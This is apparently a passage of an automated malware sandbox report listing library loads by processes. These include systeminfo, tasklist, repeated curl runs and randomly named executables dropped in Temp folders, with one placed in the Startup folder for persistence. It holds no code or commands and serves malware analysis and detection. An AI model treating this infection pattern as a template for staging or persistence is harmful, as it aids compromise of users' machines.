Source: C:\Windows\SysWOW64\systeminfo.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: mswsock.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: dnsapi.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: schannel.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: ntasn1.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: ncrypt.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: mswsock.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: dnsapi.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: schannel.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: ntasn1.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: ncrypt.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1014365001\W4KLQf7.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1014365001\W4KLQf7.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1014365001\W4KLQf7.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1014365001\W4KLQf7.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1014365001\W4KLQf7.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1014365001\W4KLQf7.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1014365001\W4KLQf7.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\M5iFR20.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\M5iFR20.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\M5iFR20.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\M5iFR20.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\M5iFR20.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\M5iFR20.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\M5iFR20.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\M5iFR20.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\M5iFR20.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\M5iFR20.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\M5iFR20.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1014398001\87538ab999.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1014398001\87538ab999.exe	Section loaded: winmm.dll
Source: C:\Windows\SysWOW64\systeminfo.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\systeminfo.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\systeminfo.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\systeminfo.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\systeminfo.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\systeminfo.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\systeminfo.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\systeminfo.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\systeminfo.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\systeminfo.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1014403001\5799e5ec40.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1014403001\5799e5ec40.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1014403001\5799e5ec40.exe	Section loaded: msimg32.dll
Source: C:\Users\user\AppData\Local\Temp\1014403001\5799e5ec40.exe	Section loaded: msvcr100.dll
Source: C:\Users\user\AppData\Local\Temp\1014403001\5799e5ec40.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1014403001\5799e5ec40.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1014403001\5799e5ec40.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1014403001\5799e5ec40.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1014403001\5799e5ec40.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1014403001\5799e5ec40.exe	Section loaded: dbghelp.dll
Source: C:\Users\user\AppData\Local\Temp\1014403001\5799e5ec40.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1014403001\5799e5ec40.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1014403001\5799e5ec40.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1014403001\5799e5ec40.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1014403001\5799e5ec40.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1014403001\5799e5ec40.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1014403001\5799e5ec40.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1014403001\5799e5ec40.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1014403001\5799e5ec40.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1014403001\5799e5ec40.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1014403001\5799e5ec40.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1014403001\5799e5ec40.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1014403001\5799e5ec40.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1014403001\5799e5ec40.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1014403001\5799e5ec40.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1014403001\5799e5ec40.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1014403001\5799e5ec40.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1014403001\5799e5ec40.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1014403001\5799e5ec40.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1014403001\5799e5ec40.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1014403001\5799e5ec40.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1014403001\5799e5ec40.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1014403001\5799e5ec40.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1014403001\5799e5ec40.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1014404001\0685f09fda.exe	Section loaded: apphelp.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: mswsock.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: dnsapi.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: schannel.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: ntasn1.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: ncrypt.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1014405001\95025a00c8.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1014405001\95025a00c8.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1014405001\95025a00c8.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1014405001\95025a00c8.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1014405001\95025a00c8.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1014405001\95025a00c8.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1014405001\95025a00c8.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1014405001\95025a00c8.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1014405001\95025a00c8.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1014405001\95025a00c8.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1014405001\95025a00c8.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1014405001\95025a00c8.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1014405001\95025a00c8.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1014405001\95025a00c8.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1014405001\95025a00c8.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1014405001\95025a00c8.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1014405001\95025a00c8.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1014405001\95025a00c8.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1014405001\95025a00c8.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1014405001\95025a00c8.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1014405001\95025a00c8.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1014405001\95025a00c8.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1014405001\95025a00c8.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1014405001\95025a00c8.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1014405001\95025a00c8.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1014405001\95025a00c8.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1014405001\95025a00c8.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1014405001\95025a00c8.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1014405001\95025a00c8.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1014405001\95025a00c8.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1014405001\95025a00c8.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1014405001\95025a00c8.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1014405001\95025a00c8.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1014405001\95025a00c8.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1014405001\95025a00c8.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1014405001\95025a00c8.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1014405001\95025a00c8.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1014405001\95025a00c8.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1014405001\95025a00c8.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1014405001\95025a00c8.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1014405001\95025a00c8.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1014405001\95025a00c8.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1014405001\95025a00c8.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1014405001\95025a00c8.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1014405001\95025a00c8.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1014405001\95025a00c8.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1014405001\95025a00c8.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1014405001\95025a00c8.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1014405001\95025a00c8.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1014405001\95025a00c8.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1014405001\95025a00c8.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1014405001\95025a00c8.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1014405001\95025a00c8.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1014405001\95025a00c8.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1014405001\95025a00c8.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1014405001\95025a00c8.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1014405001\95025a00c8.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1014405001\95025a00c8.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1014405001\95025a00c8.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1014405001\95025a00c8.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1014405001\95025a00c8.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1014405001\95025a00c8.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1014405001\95025a00c8.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1014405001\95025a00c8.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1014405001\95025a00c8.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1014405001\95025a00c8.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1014405001\95025a00c8.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1014405001\95025a00c8.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1014405001\95025a00c8.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1014405001\95025a00c8.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1014405001\95025a00c8.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1014405001\95025a00c8.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1014405001\95025a00c8.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1014405001\95025a00c8.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1014405001\95025a00c8.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1014405001\95025a00c8.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1014405001\95025a00c8.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1014405001\95025a00c8.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1014405001\95025a00c8.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1014405001\95025a00c8.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1014405001\95025a00c8.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1014405001\95025a00c8.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1014405001\95025a00c8.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1014405001\95025a00c8.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1014405001\95025a00c8.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1014405001\95025a00c8.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1014405001\95025a00c8.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1014405001\95025a00c8.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1014405001\95025a00c8.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1014405001\95025a00c8.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1014405001\95025a00c8.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1014405001\95025a00c8.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1014405001\95025a00c8.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1014405001\95025a00c8.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1014405001\95025a00c8.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1014405001\95025a00c8.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1014405001\95025a00c8.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1014405001\95025a00c8.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1014405001\95025a00c8.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1014405001\95025a00c8.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1014405001\95025a00c8.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1014405001\95025a00c8.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1014405001\95025a00c8.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1014405001\95025a00c8.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1014405001\95025a00c8.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1014405001\95025a00c8.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1014405001\95025a00c8.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1014405001\95025a00c8.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1014405001\95025a00c8.exe	Section loaded: winrnr.dll
